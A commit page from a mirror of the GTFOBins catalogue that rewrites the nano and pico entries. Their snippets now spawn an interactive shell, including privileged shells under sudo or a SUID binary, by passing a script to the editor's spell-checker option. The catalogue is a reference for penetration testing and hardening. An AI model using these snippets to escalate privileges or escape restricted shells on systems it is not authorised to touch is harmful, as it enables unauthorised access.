public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-25 06:19:27 +01:00
Code Issues Projects Releases Wiki Activity

Make nano/pico execute-interactive by using exec

Browse Source
This commit is contained in:
Andrea Cardaci 2018-09-06 21:36:02 +02:00
parent 65c3d3409f
commit 7c0fa85a66
2 changed files with 14 additions and 26 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

20
_gtfobins/nano.md
View File

@ -1,11 +1,9 @@
---
functions:
execute-non-interactive:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
execute-interactive:
- code: |
TF=$(mktemp)
echo "$COMMAND" > $TF
echo 'exec sh' > $TF
chmod +x $TF
nano -s $TF /etc/hosts
^T
@ -17,20 +15,16 @@ functions:
file-read:
- code: nano file_to_read
suid-enabled:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
- code: |
TF=$(mktemp)
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
echo 'exec sh -p' > $TF
chmod +x $TF
./nano -s $TF /etc/hosts
^T
sudo-enabled:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
- code: |
TF=$(mktemp)
echo "$COMMAND" > $TF
echo 'exec sh' > $TF
chmod +x $TF
sudo nano -s $TF /etc/hosts
^T

20
_gtfobins/pico.md
View File

@ -1,11 +1,9 @@
---
functions:
execute-non-interactive:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
execute-interactive:
- code: |
TF=$(mktemp)
echo "$COMMAND" > $TF
echo 'exec sh' > $TF
chmod +x $TF
pico -s $TF /etc/hosts
^T
@ -17,20 +15,16 @@ functions:
file-read:
- code: pico file_to_read
suid-enabled:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
- code: |
TF=$(mktemp)
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
echo 'exec sh -p' > $TF
chmod +x $TF
./pico -s $TF /etc/hosts
^T
sudo-enabled:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
- code: |
TF=$(mktemp)
echo "$COMMAND" > $TF
echo 'exec sh' > $TF
chmod +x $TF
sudo pico -s $TF /etc/hosts
^T